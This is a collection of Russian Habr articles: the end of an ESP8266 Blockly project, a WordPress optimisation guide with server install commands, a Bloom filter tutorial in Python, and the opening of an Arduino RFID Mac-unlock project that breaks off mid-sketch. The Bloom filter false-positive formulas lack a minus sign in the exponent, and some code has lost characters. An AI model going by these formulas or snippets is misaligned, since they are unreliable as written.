Сначала хотел использовать Scratch, но он не подошел мне, так как не позволяет работать оффлайн — программа исполняется на компьютере в среде scratch, а все платы для него работают пассивно. Пошарив в интернете, я наткнулся на [Google Blockly](https://developers.google.com/blockly/). Это оказалось ровно тем, что нужно: он поддерживает кодогенерацию в lua, и создание собственных блоков. После экспериментов, я решил делать свой проект на основе web, выбрал nodejs в качестве сервера, и Blockly в качестве фронтенда. Абсолютно необходимо было создать 2 блока — установка цвета и задержка. Blockly имеет встроенные функции для работы с цветами в формате #ffffff, создание функции для установки цвета не составило никакой проблемы.
**Заголовок спойлера**
```
Blockly.Lua['set_color'] = function (block) {
var parseColor = Blockly.Lua.provideFunction_(
'set_colour_rgb',
['function ' + Blockly.Lua.FUNCTION_NAME_PLACEHOLDER_ + '(s)',
' local rs,gs,bs = s.match(s, "#(..)(..)(..)");',
' setColor(tonumber(rs, 16),tonumber(gs, 16),tonumber(bs, 16));',
'end']);
var value_color = Blockly.Lua.valueToCode(block, 'Color', Blockly.Lua.ORDER_ATOMIC);
var code = `set_colour_rgb(${value_color})\n`;
return code;
};
```
Таким образом были закрыты 2 из 3х требований.
### Функция sleep()
Тут пришлось конкретно подумать, как совместить надежную работу OTA с выполнением пользовательского кода. К счастью в lua есть библиотека [coroutine](https://www.lua.org/pil/9.1.html)
После раздумий и вдумчивого чтения документации я понял, что весь клиентский код нужно запускать в coroutine, и использовать yield вместо sleep, чтобы основной модуль мог установить таймер.
Также, для защиты платы от бесконечного цикла, я запатчил код после генератора, вставив yield(0) в начале каждой итерации каждого цикла
```
function MCUPostProcessLua(code) {
return code.replace(/ do[ ]?\n/, ' do \ncoroutine.yield(0);\n');
}
```
### OTA загрузка
Я решил, реализовать самое простое для локальной сети решение, плата подключается к домашнему wifi, подключается к серверу по фиксированному адресу, отправляет уникальный идентификатор (чтобы корректно обрабатывать повторные подключения), и ожидает обновления программы через этот сокет.
### Результат
[github.com/farafonoff/BlocklyESP8266](https://github.com/farafonoff/BlocklyESP8266)
Можно добавить очень много, например какую-то возможность авторизации для работы через публичные сети, user-friendly настройщик в режиме hostap, улучшить модульность init.lua и поддержку его обновления OTA (сейчас обновляется только модуль с загруженной программой). | https://habr.com/ru/post/409449/ | null | ru | null |
# Оптимизации WordPress. Конкурс «ВПС на год за лучшие идеи!»
По данным [HackerTarget.com](http://hackertarget.com/wordpress-statistics-top-500k/) 20.9% сайтов из списка Alexa (104 684 из 500 000) работают на CMS WordPress. Из небольшого движка для блогов WordPress вырос в универсальную платформу для разработки сайтов, породив целую экосистему.
Компания [Aberdeen Group](http://www.aberdeen.com) провела исследование, согласно которому увеличение времени загрузки сайта на 1 секунду имеет следующие последствия:
* уменьшение количества просмотров страницы на 11%;
* снижение удовлетворенности покупателей на 16%;
* снижение рейта конверсии посетителей в покупателей на 7%.
40% мобильных покупателей покинут интернет магазин, страницы которого загружаются дольше 3 секунд.
В этой статье мы затронем тему оптимизации WordPress. Для лучшего раскрытия темы в будущих статьях мы проводим конкурс: [пришлите нам](mailto:trukhinyuri@infoboxcloud.ru) рекомендации по оптимизации WordPress, не вошедшие в эту статью. Автору наиболее полных и полезных советов по оптимизации будет предоставлена [VPS 1024 на год](http://infobox.ru/vps/linux/). В конце статьи ссылка на регистрацию бесплатной Cloud VPS для экспериментов с оптимизацией WordPress.
#### Тестирование производительности WordPress до оптимизаций
Давайте определим время загрузки сайта. Для тестирования воспользуемся сервисом [GTMetrix](http://gtmetrix.com).
Получено время загрузки страницы по сети 2.62 секунды.
Также проверим сайт сервисом [WebPageTest](http://www.webpagetest.org/). Результаты проверки ниже.
Время первой загрузки сайта 2.112 секунды. Время повторной загрузки сайта: 1.325 секунд.
#### Оптимизируем тему WordPress
###### Сжимаем графику без потерь
Для оптимизации изображений в теме WordPress (а заодно и всех медиа файлов) установите плагин [WP Smush.it](https://wordpress.org/plugins/wp-smushit/). Далее перейдите в раздел Media панели администрирования WordPress и нажмите Bulk Smush.it. Используемая графика будет сжата без потерь.
###### Используйте CSS–спрайты
Можно уменьшить число запросов к серверу, используя CSS–спрайты. Таблица спрайтов — одно большое изображение мелких графических элементов сайта. Благодаря CSS можно отображать каждый элемент по отдельности, используя свойство **background-position**.
Основное преимущество спрайтов — однократная загрузка всех элементов сразу и уменьшение числа HTTP-запросов.
Для создания спрайта можно воспользоваться сервисом [spriteme.org](http://spriteme.org). Переместите ссылку **SpriteMe** в панель закладок браузера. Откройте оптимизируемый сайт и нажмите на **SpriteMе** в панели закладок.
Справа откроется окно сервиса с предложением создания спрайтов из картинок темы WordPress. Нажмите **Make sprite** для создания. Также вы можете переместить в это окно и другие картинки для объединения в спрайт. После нажатия на Make sprite проверьте, что тема WordPress не изменилась и все элементы управления на месте. SpriteMe работает не идеально и в случае проблем придется делать спрайты самостоятельно. Если все прошло хорошо, нажмите **export CSS**. Откроется новое окно с CSS, которые нужно изменить на сайте. Скачайте полученный спрайт и сохраните в папку вашей темы WordPress. Откройте в любом текстовом редакторе css используемой темы. По правилам, предоставленным Sprite Me, найдите изображения, которые объединены в спрайт, и замените на спрайт с CSS. После редактирования CSS проверьте, что дизайн сайта не изменился. При редактировании чужих шаблонов процесс отладки CSS может занять некоторое время.
Если SpriteMe не помог вам, можно сгенерировать спрайты из набора изображений темы с помощью сервиса [CSS Sprite Generator](http://spritegen.website-performance.org). Сервис хорош тем, что позволяет загрузить сразу набор изображений, а не загружать картинки по отдельности, как предлагает [CSS-sprites.com](http://csssprites.com).
Руководства по использованию CSS спрайтов, сгенерированных самостоятельно, приведены в статьях: [CSS Background Image Sprites: A Beginner’s Guide](http://www.noobcube.com/tutorials/html-css/css-background-image-sprites-a-beginners-guide-/) и [Creating easy and useful CSS Sprites](http://cssglobe.com/creating-easy-and-useful-css-sprites/).
#### Оптимизация изображений WordPress
При загрузке картинок на сайт не забывайте отрезать неиспользуемое пространство картинки (например белый фон), уменьшать размер картинки до необходимого в блоге. Если вы загружаете картинки большего размера и используете атрибуты **width** и **height** – картинки будут загружаться дольше. Также всегда заранее определяйте эти атрибуты при загрузке картинок.
###### Форматы файлов
До загрузки изображений проверьте, что они сохранены в оптимальном формате. Наиболее подходящие форматы PNG (8/24bit), JPG, GIF (для маленьких картинок). Иллюстрации с небольшим количеством цветов хорошо сохраняются в PNG 8bit. Фото и изображения с большим количеством цветов хорошо сохраняются в JPEG (используйте при сохранении наименьшее качество, которое не портит визуально изображение). Данный совет может показаться банальным, но он позволяет в разы уменьшить объем загружаемых картинок.
Сохранение с максимальным качеством (494.5 кб):
Сохранение со средним качеством (94.34 кб):
###### Gravatar и аватарки
Использование Gravatar замедляет производительность сайта. Если отображение аватарок не нужно, его можно отключить в разделе **Settings**->**Discussion** панели администрирования WordPress.
Можно пойти другим путем:
* кешировать аватарки gravatar по cron;
* кешировать аватарки в комментариях;
* хранить одну копию изображения аватарки на пользователя для тех, у кого аккаунт не ассоциирован с gravatar.
Для этого необходимо установить плагин [FV Gravatar Cache](https://wordpress.org/plugins/fv-gravatar-cache/).
После установки FV Gravatar Cache необходимо в настройках плагина включить выполнение операции по cron:
Здесь же можно сразу запустить выполнение задачи.
###### jQuery Image lazy load
JQuery Image lazy load WP позволяет загружать картинки только в момент, когда пользователь просматривает их на экране. Функция может не работать при использовании кеша, генерирующего статические файлы. Для включения этой возможности установите плагин [jQuery Image Lazy Load WP](http://wordpress.org/plugins/jquery-image-lazy-loading/). Были проведены тесты конкурирующих плагинов [BJ Lazy Load](http://wordpress.org/plugins/bj-lazy-load/) и [Lazy Load](http://wordpress.org/plugins/lazy-load/), но результаты у этих плагинов оказались хуже, чем у JQuery Image lazy load WP в среднем на 0.40 секунды на тестируемых сайтах.
###### Не стоит использовать картинки с текстом
Добавление картинок только с текстом на сайт — не очень хорошая идея. Это увеличивает количество запросов к серверу и не дает поисковым системам корректно читать текст в картинках. Если возможно — используйте текст, стилизованный в CSS в логотипах. [Google предоставляет](http://www.google.com/fonts/) богатый набор шрифтов для использования в вебе, который поможет во многих случаях отказаться от картинок с текстом.
#### Очистка сайта
Отключите неиспользуемые расширения. Это поможет уменьшить нагрузку на CPU хостинга. Установите уже упомянутый выше [P3 плагин](http://wordpress.org/plugins/p3-profiler/), который позволит увидеть, какие плагины потребляют больше памяти и оказывают негативное влияние на производительность сайта в целом.
#### Отключите Pingback и Trackback (опционально)
Pingback – тип комментариев, который создается, когда вы ссылаетесь на другой пост. Сославшись на другой пост в комментарии автор поста увидит pingback в своих комментариях.
Trackback – тип комментариев со специальной ссылкой. Обычно блоги, которые хотят принимать trackback, размещают ссылку в конце постов. Ссылка вставляется в другой блог и используется для комментариев в оригинальном посте.
Если эти возможности вам не нужны, можно их отключить, освободив тем самым немного ресурсов сервера. В панели администрирования WordPress перейдите в раздел **Settings**->**Discussion** и отключите «Attempt to notify any blogs linked to from the article» и «Allow link notifications from other blogs (pingbacks and trackbacks)». Не забудьте сохранить изменения.
###### Уменьшите количество спама в комментариях
Использование плагина [Akismet](http://wordpress.org/plugins/akismet/), который включен в инсталляцию WordPress по умолчанию позволяет значительно снизить объем спама в комментариях и в итоге снизить нагрузку на сервер.
#### Кеширование и минификация
###### Ограничьте поиск DNS до 1-5 различных имен хостов
До установки браузером сетевого соединения с веб-сервером, браузер разрешает название сайта в ip–адрес. DNS записи могут быть закешированы браузером клиента и операционной системой. Если правильная запись по-прежнему в кеше клиента, задержек не возникает. Тем не менее, если клиенту необходимо выполнить поиск DNS по сети, задержки могут быть достаточно большими, в зависимости от расположения DNS сервера. Уменьшить время поиска DNS важнее, чем другие виды запросов.
Каждый раз, когда вы запрашиваете ресурсы (картинки, CSS–файлы, JavaScript–файлы и т.д.) с других имен хостов, вы увеличиваете количество поисков DNS для ваших посетителей сайта.
Если имя хоста в другом домене или поддомене — это увеличивает количество поисков DNS.
**pic1.sitename.ru ≠ pic2.sitename.ru ≠ google.com**
Ограничьте количество ресурсов, откуда берете контент до 4-5 максимум.
Чтобы увидеть все внешние ресурсы, используемые на вашем сайте, откройте Firebug в Firefox на сайте и перейдите в раздел **NET**->**ALL**.
Более подробно об этом правиле в [разделе Yahoo!](https://developer.yahoo.com/blogs/ydn/high-performance-sites-rule-9-reduce-dns-lookups-7207.html) для разработчиков.
###### Сделайте JavaScript и CSS внешними
Вынесите JavaScript и CSS во внешние файлы, когда это возможно. Это позволит собрать из разных CSS–файлов один и объединить JavaScript файлы.
###### Положите ссылки на CCS файлы сверху, а ссылки на JavaScript файлы снизу
Большинство браузеров сначала парсят JavaScript файлы, размещенные сверху до загрузки других ресурсов, так как JavaScript может изменять функциональность страницы. Это может снизить параллелизацию загрузки контента.
Если вы положите скрипты сверху, ваши посетители могут наблюдать пустую страницу до окончания загрузки JavaScript. Это может плохо повлиять на производительность. Поэтому скрипты следует размещать снизу страницы.
CSS-файлы должны быть размещены сверху страницы в header. Если это не так, возможно также негативное влияние на параллелизацию загрузки.
###### Включение кеширования и минификации
Установите и активируйте [Use Google Libraries](http://wordpress.org/plugins/use-google-libraries/). Некоторые JavaScript библиотеки, распространяемые с WordPress также хостятся в [Google AJAX Libraries API](https://developers.google.com/speed/libraries/?csw=1). Плагин позволит WordPress использовать CDN от Google вместо использования файлов из вашей инсталляции WordPress. Более детально о преимуществах такого подхода рассказано в статье [«3 reasons why you should let Google host jQuery for you»](http://encosia.com/3-reasons-why-you-should-let-google-host-jquery-for-you/).
Также установите и активируйте плагин [W3 Total Cache](http://wordpress.org/plugins/w3-total-cache/). Для активации эффективного кеширования в памяти нужно на сервер установить Memcached. Мы используем [Облачные VPS](http://infobox.ru/vps/cloud/) от Infobox с Ubuntu 14.04.
Устанавливаем Memcached:
```
apt-get install memcached
Редактируем конфиг **/etc/memcached.conf**:
#/etc/memcached.conf
#Memcached будет работать, как демон
-d
#Место для хранения логов
logfile /var/log/memcached.log
#Объем оперативной памяти под хранилище
-m 256
#Используемый порт
-p 11211
#Слушаем localhost
-l 127.0.0.1
```
Перезапускаем Memcached
```
/etc/init.d/memcached restart
```
Компилируем и устанавливаем модуль поддержки Memcached для PHP
```
apt-get install php5-dev libmemcache-dev
pecl download memcache
tar xzvf memcache-2.2.7.tgz
cd memcache-2.2.7/
phpize && ./configure --enable-memcache && make
cp modules/memcache.so /usr/lib/php5/20121212/
echo 'extension=memcache.so' >> /etc/php5/apache2/php.ini
/etc/init.d/apache2 restart
```
Для работы минификации в W3 Total Cache необходимо установить Java.
```
apt-get -y install software-properties-common
add-apt-repository ppa:webupd8team/java
apt-get update
apt-get install oracle-java8-installer
```
Определить расположение java можно командой
```
which java
```
Также для минификации нам потребуется yuicompressor.
```
wget https://github.com/downloads/yui/yuicompressor/yuicompressor-2.4.7.zip
unzip yuicompressor-2.4.7.zip
cd yuicompressor-2.4.7
apt-get -y install ant
ant
cd build
mkdir /usr/share/yuicompressor
mv yuicompressor-2.4.7.jar yuicompressor.jar
cp yuicompressor.jar /usr/share/yuicompressor/
```
Перейдите в панель администрирования WordPress в раздел Performance->Minify (если такого раздела нет — перейдите в раздел плагинов, найдите W3 Total Cache и нажмите Settings).
Включите **Rewrite URL structure**.
Активируйте оптимизации HTML и XML:
Оптимизации для JavaScript:
Оптимизации для CSS:
Теперь настроим в разделе **Performance**->**Page Cache**:
Далее в разделе **Performance**->**Browser Cache**:
Если вы используете CDN – отключите компрессию. В CDN уже есть компрессия.
Оптимизации для CSS, JavaScript и Media в разделе Browser Cache:
#### Используйте CDN
CDN позволяет получать статический контент (такой, как картинки, CSS–файлы и JavaScript–файлы) из различных локаций мира. У ваших посетителей контент будет открываться быстрее с сервера, расположенного ближе к нему географически. CDN оптимизирована для обработки статического контента быстрее, чем большинство хостингов. Также CDN уменьшает нагрузку на сеть к главному серверу и снижает вероятность падения сервера от избыточной нагрузки. Eще одна особенность CDN – улучшение паралеллизации загрузки данных. Большинство браузеров имеют ограничения по ресурсам, которые они загружают с одного хоста (домена или поддомена). Даже если на вашей странице 10 картинок, браузер будет загружать параллельно только по 2 картинки.
Тем не менее мы по-прежнему не хотим проблем с поиском DNS. Google [дает нам](https://developers.google.com/speed/docs/best-practices/rtt?csw=1) совет:
*Вы не должны использовать 1 хост меньше чем для 6 ресурсов. Меньше чем 2 ресурса на хосте — совсем плохо. Вы никогда не должны использовать больше, чем 5 хостов (не считая серверов, над которыми вы не имеете контроля, например серверов, обрабатывающих рекламу для вашего сайта).
Убедитесь, что ни один хост не обрабатывает более 50% нагрузки от всех хостов.*
###### Настройка CDN
В данном примере мы будем настраивать CDN от CloudFlare. Установите плагин [CloudFlare](https://wordpress.org/plugins/cloudflare/).
1. Создайте аккаунт у CloudFlare
2. Добавьте ваш сайт:
3. Настройте уровни производительность и безопасности, а также выберите тарифный план (бесплатный план не поддерживает SSL и имеет [другие ограничения](https://www.cloudflare.com/plans)).
4. Измените ваши DNS–сервера.
Включите в разделе управления DNS от CloudFlare CDN для вашего домена (клик по иконке с облаком, чтобы иконка стала оранжевой).
После этого в разделе Plugins->CloudFlare установите правильные данные для доступа к сети CDN от CloudFlare: имя домена, email и ключ API.
#### Тестирование производительности WordPress после оптимизаций
Результаты проверки сайта [GTMetrix](http://gtmetrix.com).
Время загрузки сайта составило 1.38 секунды. До оптимизаций время составляло 2.62 секунды.
**В результате оптимизаций время загрузки сайта сократилось в 2 раза. Также повысились оценки сайта сервисами Google Page Speed и Yahoo! YSlow.**
Теперь проверим сайт сервисом [WebPageTest](http://www.webpagetest.org/).
Время первой загрузки сайта 1.401 секунды. Время повторной загрузки сайта 0.477 секунды. До оптимизаций время первой загрузки сайта составляло 2.112 секунды. Время повторной загрузки сайта 1.325 секунды.
**В результате оптимизаций время первой загрузки сайта сократилось на 25%. Время повторной загрузки сайта сократилось почти в 3 раза.**
Мы уверены, что это только первый шаг в оптимизации WordPress. Присылайте свои идеи по оптимизации, подтвержденные тестами, на [trukhinyuri@infoboxcloud.com](mailto:trukhinyuri@infoboxcloud.com). За лучший набор рекомендаций автор получит год [VPS 1024 от Infobox](http://infobox.ru/vps/linux/). Для того, чтобы вы смогли попробовать установить и оптимизировать WordPress, мы предоставляем пробную версию Cloud VPS на 15 дней бесплатно. [Регистрируйтесь по ссылке](https://store.pa.infobox.ru/index.php?redirect=cloud_2048_trial).
Успешных оптимизаций WordPress! | https://habr.com/ru/post/231719/ | null | ru | null |
# Что такое фильтр Блума?
Всем привет! В этой статье я постараюсь описать, что такое фильтр Блума, рассказать о его назначении и показать сценарии, в которых его можно использовать. Я также реализую фильтр Блума на Python с нуля в целях облегчения понимания его внутреннего устройства.
### Назначение фильтра Блума
Фильтр Блума — это структура данных, цель которой — быстро проверить, что элемент НЕ входит в множество (для тех, кто знаком с нотацией O большое, сложность вставки и проверки принадлежности элемента к множеству с помощью фильтра Блума — `O(1)`). Он может быть очень полезен для предотвращения излишнего выполнения задач, требующих интенсивных вычислений, просто проверяя, что элемент *совершенно точно не* входит в множество. Важно понимать, что фильтр Блума — это вероятностная структура данных: он может сказать вам со 100% вероятностью, что элемент отсутствует в наборе данных, но сказать со 100% вероятностью, что элемент находится в наборе, он не может (возможны ложно положительные результаты). Давайте же поговорим о сценариях, в которых можно использовать фильтр Блума с подробным объяснением его внутреннего устройства и реализацией на Python, и позже вы поймете, откуда фильтр Блума имеет такие показатели!
Фильтр Блума обычно используется перед поиском в множестве с достаточно медленным доступом к элементам. За счет его использования может быть уменьшено как количество поисковых операций над множеством, так и время поиска в целом.
### Сценарии использования
Давайте поразмыслим о сценариях, в которых для ускорения вычисления некоторых задач такая структура данных могла бы оказаться очень полезной. Например, мы можем начать с маршрутизатора опорной сети (не такого, который вы можете найти у себя дома). От таких маршрутизаторов может требоваться скорость в uplink более 100 Гбит/с. Администратору может понадобиться создать черный список IP-адресов, чтобы заблокировать им доступ в сеть. Это означает, что каждый раз, когда маршрутизатор получает пакет на скорости более 100 Гбит/с, он должен обращаться к своей памяти и выполнять в лучшем случае логарифмический поиск (`O(log(n))`), чтобы проверить, заблокирован ли IP-адрес, учитывая, что большинство IP-адресов не заблокированы и что поиск не даст результатов для большинства пакетов. В этом случае фильтр Блума может быть реализован как раз перед доступом к памяти, чтобы гарантировать, что большинству пакетов не нужно дожидаться поиска IP-адреса для отправки в сеть.
Еще один сценарий — это базы данных. Когда к базе данных происходят миллионы обращений в секунду, и большинство обращений представляют из себя поиск по ключу, которого в базе данных нет, максимально уменьшить нагрузку таких обращений на базу данных может быть важно по двум причинам: если сократить количество поисков, ядро базы данных будет быстрее отвечать на другие обращения; если клиент может не дожидаться поиска по базе данных и получить результат (например, не из памяти) без необходимости доступа к базе данных, достигнутое ускорение может быть весьма существенным.
Наконец, чтобы ускорить процесс поиска файла в папке с большим количеством файлов, можно использовать фильтр Блума, чтобы сначала проверить, отсутствует ли файл в этой папке.
Более типичные сценарии использования фильтра Блума можно найти [здесь](https://en.wikipedia.org/wiki/Bloom_filter#Examples).
### Что из себя представляет фильтр Блума?
Чтобы проиллюстрировать устройство фильтра Блума, мы будем использовать первый сценарий. Представьте, что вы внесли в черный список 100 IP-адресов. Самый простой способ пометить, есть ли IP-адрес в черном списке или нет, — создать список из 100 бит, где каждый бит — это один IP. Если IP-адрес занесен в черный список, мы отмечаем его позицию как «1», в противном случае — «0».
В этом фильтре Блума 4-й IP-адрес занесен в черный список, а все остальные нет.
#### Сколько всего IP-адресов?
Эта реализация работает, если используются только 100 IP. В реальности же каждый IPv4-адрес имеет 32 бита, что означает, что существует 4 294 967 296 (2^32) возможных адресов (некоторые из них зарезервированы для приватных, бродкастных, мультикастных и других специальных сетей, но оставшихся адресов все еще огромное количество)! И количество IP-адресов в черном списке, вероятно, не превысит нескольких сотен в самом крайнем случае. Мы не можем позволить себе составлять такой большой список, чтобы использовать его для такого относительно небольшого количества записей. Нам нужно найти способ сопоставления IP-адреса и записей в списке. И вот тут-то и приходят на помощь хеш-функции.
#### Хеш-функция
Хеш-функция — это функция, которая преобразует вход произвольной длины в значение фиксированного размера. Таким образом, мы можем создать массив фиксированного размера и вычислить результат хеш-функции по конкретному IP-адресу, и он всегда будет генерировать число, меньшее или равное размеру массива. Хеш-функция не является случайной функцией, что означает, что для одного и того же ввода вывод всегда будет одинаковым.
Хеш-функция получает ввод, который может быть любой строкой (в данном случае IP), и вычисляет числовое представление. В этом случае числовое представление будет позицией в фильтре Блума, соответствующей входным данным.
Но подождите… Что-то не так. Вернемся к нашему сценарию. Представьте, что мы занесли в черный список 100 IP-адресов. Как хеш-функция точно сопоставит наши 100 из возможных 2^32 IP-адресов на 100 различных значений без сохранения какой-либо информации о них? Правда в том, что никак. Будут коллизии. Хэш-функция гарантирует, что каждый IP-адрес будет иметь собственное сопоставление с числом, но, поскольку может быть 4 294 967 296 (2^32) возможных IP-адресов, невозможно сопоставить их все с всего лишь сотней различных значений. Все, что может гарантировать хеш-функция, — это то, что она скремблирует биты входных данных так, чтобы выходные данные согласовались с равномерным распределением. Это означает, что если вы измените ввод хеш-функции с 192.168.1.1 на 192.168.1.2, вывод, вероятно, будет совершенно другим, кажущимся случайным (но в действительности не случайным, поскольку каждому вводу всегда будет соответствовать один и тот же вывод).
Пример коллизии. Два разных IP-адреса имеют одинаковый хеш, а это означает, что их индекс в фильтре Блума будет одинаковым.
Хорошо, теперь с самого начала: мы заносим в черный список 100 IP-адресов. Каждый IP-адрес будет проходить через хеш-функцию, и результат хеш-функции вернет число, меньшее или равное размеру массива. Это число будет индексом массива, который отмечает, был ли IP-адрес в черном списке или нет. Но будут коллизии — как нам с этим справиться?
Предположим, что IP-адреса 178.23.12.63 и 112.64.90.12 имеют одинаковый хеш. Первый IP попал в черный список, второй — нет. Когда мы проверяем, находится ли хеш второго IP-адреса в фильтре Блума, мы его там найдем, даже если этот IP-адрес никогда не попадал в черный список. Означает ли это, что у нас есть ошибка?
Помните, что в начале я предупреждал, что цель фильтра Блума — проверить, что элемент НЕ входит в набор данных. Если позиция элемента в фильтре Блума равна 0, этот элемент определенно НЕ входит в набор. Однако, если позиция элемента в фильтре Блума равна 1, то либо этот элемент может все-таки быть в наборе, либо это просто коллизия. Все, что мы можем сделать, это уменьшить вероятность коллизии, чтобы уменьшить количество обращений к памяти, необходимых для проверки, действительно ли IP находится в черном списке.
#### Снижение вероятности коллизий
Есть два основных способа снизить вероятность коллизий, и оба с нюансами. Одна из возможностей — увеличить размер массива. Если мы увеличим размер массива (и, следовательно, заставим хеш-функцию возвращать число меньше или того же размера, что и новый размер массива), вероятность коллизий уменьшается. В частности, вероятность ложного срабатывания (фильтр Блума возвращает 1, когда элемент отсутствует в наборе) составляет `(1-e^(m / n))`, где m — количество элементов, которые предполагается внести в фильтр, а n размер фильтра.
Другой способ уменьшить вероятность коллизии — увеличить количество хеш-функций. Это означает, что в нашем сценарии для одного IP-адреса будет использоваться несколько различных хеш-функций, т.е. несколько различных мест в массиве будет помечаться как 1. Если мы используем `k` хеш-функций, вероятность ложного срабатывания теперь `(1-e^(mk/n))^k`, что означает, что оптимальное количество хеш-функций равно `(n/m)*ln(2)` (подробнее об этих уравнениях можно почитать [здесь](https://en.wikipedia.org/wiki/Bloom_filter#Probability_of_false_positives)).
Пример фильтра Блума с двумя хеш-функциями. В одном из хешей этих IP-адресов мы наблюдаем коллизию, но все-равно можно проверить, что IP 112.64.90.12 не входит в набор, потому что одна из его позиций фильтра Блума не равна 1.
Ну что ж, а теперь давайте реализуем фильтр Блума в Python и посмотрим на результат! Это займет у нас всего около 50 строк кода.
Давайте начнем с создания класса `BloomFilter` (в следующем фрагменте кода). Конструктор получает размер фильтра Блума и (это опционально) количество ожидаемых элементов, которые будет хранить этот фильтр Блума. Для создания массива из битов мы будем использовать библиотеку `bitarray`, и мы установим их все в ноль. Наконец, мы устанавливаем количество хеш-функций в уравнение, которое возвращает оптимальное количество хеш-функций, учитывая размер фильтра Блума и количество ожидаемых элементов.
```
import math
from bitarray import bitarray
class BloomFilter(object):
def __init__(self, size, number_expected_elements=100000):
self.size = size
self.number_expected_elements = number_expected_elements
self.bloom_filter = bitarray(self.size)
self.bloom_filter.setall(0)
self.number_hash_functions = round((self.size / self.number_expected_elements) * math.log(2))
```
Теперь давайте определим хеш-функцию для фильтра Блума. Используемая реализация (взятая [отсюда](https://gist.github.com/mengzhuo/180cd6be8ba9e2743753)) реализует алгоритм DJB2. Сейчас мы будем использовать его как черный ящик, поскольку объяснение это алгоритма выходит за рамки темы этой статьи.
```
def _hash_djb2(self, s):
hash = 5381
for x in s:
hash = ((hash << 5) + hash) + ord(x)
return hash % self.size
```
Теперь у нас есть хеш-функция, но как нам создать K хеш-функций? Мы можем сделать один простой фокус. Вместо того, чтобы создавать разные хеш-функции, мы просто будем добавлять число к каждому вводу в хеш-функцию. Число будет представлять из себя номер вызываемой хэш-функции. Поскольку любая небольшая разница во вводе хеш-функции результирует в совершенно другом хеше, результат можно рассматривать как другую хеш-функцию. Круто, правда?
```
def _hash(self, item, K):
return self._hash_djb2(str(K) + item)
```
Теперь давайте создадим функцию для добавления элемента в фильтр Блума. Для этого давайте проитерируем все хеш-функции, вычисляя хеш для элемента и, наконец, помещая 1 (или True) в индекс хеша.
```
def add_to_filter(self, item):
for i in range(self.number_hash_functions):
self.bloom_filter[self._hash(item, i)] = 1
```
Осталось только создать функцию, которая проверяет, что элемент *НЕ* находится в фильтре Блума. Для этого давайте еще раз проитерируем по всем хеш-функциям. Если какая-либо из позиций фильтра Блума имеет 0, мы можем сказать, что элемент определенно отсутствует в наборе. В противном случае, если все позиции имеют 1, мы не можем сказать, что элемента нет в наборе.
```
def check_is_not_in_filter(self, item):
for i in range(self.number_hash_functions):
if self.bloom_filter[self._hash(item, i)] == 0:
return True
return False
```
И все! Мы реализовали наш фильтр Блума. Давай протестируем его!
Мы создадим простой тест, чтобы проверить, работает ли он. Давайте создадим фильтр Блума с 1 миллионом записей, а затем установим ожидаемое количество элементов равным 100 000. Мы собираемся добавить элемент «192.168.1.1» в наш фильтр Блума в качестве заблокированного IP-адреса.
```
bloom_filter = BloomFilter(1000000, 100000)
base_ip = "192.168.1."
bloom_filter.add_to_filter(base_ip + str(1))
```
Чтобы проверить это, мы будем итерировать i от 1 до 100 000 и проверять, находится ли IP 192.168.1.i в фильтре Блума (нет таких IP-адресов, где i>254, например 192.168.289, но в данном случае мы просто проводим тест). Мы выведем элементы, о которых мы не знаем, входят ли они в набор; все остальные элементы, которые не будут напечатаны, точно не входят в набор.
```
for i in range(1, 100000):
if not bloom_filter.check_is_not_in_filter(base_ip + str(i)):
print(base_ip+str(i))
```
*192.168.1.1*
Да! Наш фильтр Блума говорит, что из 100 000 IP-адресов единственный элемент, который может быть заблокированным, — это действительно наш заблокированный IP-адрес. Никаких ложноположительных результатов!
Вот полный код нашего фильтра Блума:
```
import math
from bitarray import bitarray
class BloomFilter(object):
def __init__(self, size, number_expected_elements=100000):
self.size = size
self.number_expected_elements = number_expected_elements
self.bloom_filter = bitarray(self.size)
self.bloom_filter.setall(0)
self.number_hash_functions = round((self.size / self.number_expected_elements) * math.log(2))
def _hash_djb2(self, s):
hash = 5381
for x in s:
hash = ((hash << 5) + hash) + ord(x)
return hash % self.size
def _hash(self, item, K):
return self._hash_djb2(str(K) + item)
def add_to_filter(self, item):
for i in range(self.number_hash_functions):
self.bloom_filter[self._hash(item, i)] = 1
def check_is_not_in_filter(self, item):
for i in range(self.number_hash_functions):
if self.bloom_filter[self._hash(item, i)] == 0:
return True
return False
bloom_filter = BloomFilter(1000000, 100000)
base_ip = "192.168.1."
bloom_filter.add_to_filter(base_ip + str(1))
for i in range(1, 100000):
if not bloom_filter.check_is_not_in_filter(base_ip + str(i)):
print(base_ip+str(i))
```
Вот и все, что касается фильтров Блума. Я надеюсь, что вам было интересно узнать, что такое фильтр Блума и как его реализовать. Спасибо за внимание!
---
> Перевод статьи подготовлен в преддверии старта [курса «Data Engineer»](https://otus.pw/n7Qn/).
>
> Также приглашаем всех желающих на [бесплатный демо-урок по теме «ML в Spark».](https://otus.pw/sfK3/) На занятии участники вместе с экспертом узнают об особенностях ML в Spark, рассмотрят процесс разработки моделей и научатся переводить обученные модели в production
>
> | https://habr.com/ru/post/541378/ | null | ru | null |
# Ввод пароля или похитители времени
Не знаю, как вам, но мне в течении дня приходится часто отходить от рабочего места и блокировать мак. Чтобы не совершать несколько кликов мышкой, блокировку своего мака я «повесил» на клавиши «shift + cmd + l», но по приходу к рабочему месту опять же приходилось вводить пароль (который в силу моей параноидальности не так-то прост). И вот, ошибившись в спешке в очередной раз при его вводе, задумался автоматизировать процесс блокировки/разблокировки. Так как все двери нашего офиса открываются по карте, решил повесить на RFID-метку (всё равно всё время болтается на шее) и эту функцию. Итак, задача на словах выглядела так: авторизовавшись единожды в начале рабочего дня иметь возможность блокировки/разблокировки мака по RFID-метке, при этом все функции проверки валидности метки и т.п. должны происходить на стороне мака.
Начало — уже половина дела, да и как раз под рукой освободился стенд на базе Arduino UNO.
В процессе работы решил дополнить функционал: считывание метки будет происходить только при нажатой кнопке жёлтого цвета на фото выше (уж не знаю, зачем такие усложнения — видимо, опять параноя сказывается). Итак, общий процесс должен будет выглядеть следующим образом:
* Функциональная часть вся будет на стороне мака, а Arduino будет только передавать код метки и «мигать светодиодами»;
* Зажимаем кнопку — загорается жёлтый светодиод готовности;
* Если прикладываем некорректную метку — загорается красный светодиод;
* Прикладываем правильную метку — загорается зелёный светодиод и происходит блокировка/разблокировка мака.
Докупив модуль RFID на 125 кГц, собрал на макетной плате прототип устройства.
**Скетч и код для Arduino**
```
#include
// "Распиновка"
int buttonPin = 2;
int ledGreenPin = 13;
int ledYellowPin = 12;
int ledRedPin = 11;
// Модуль RFID и переменны для него
SoftwareSerial RFID(6, 7);
String inputString = "";
int rfidData;
String rfidNumber = "";
String rfidNumberLast = "";
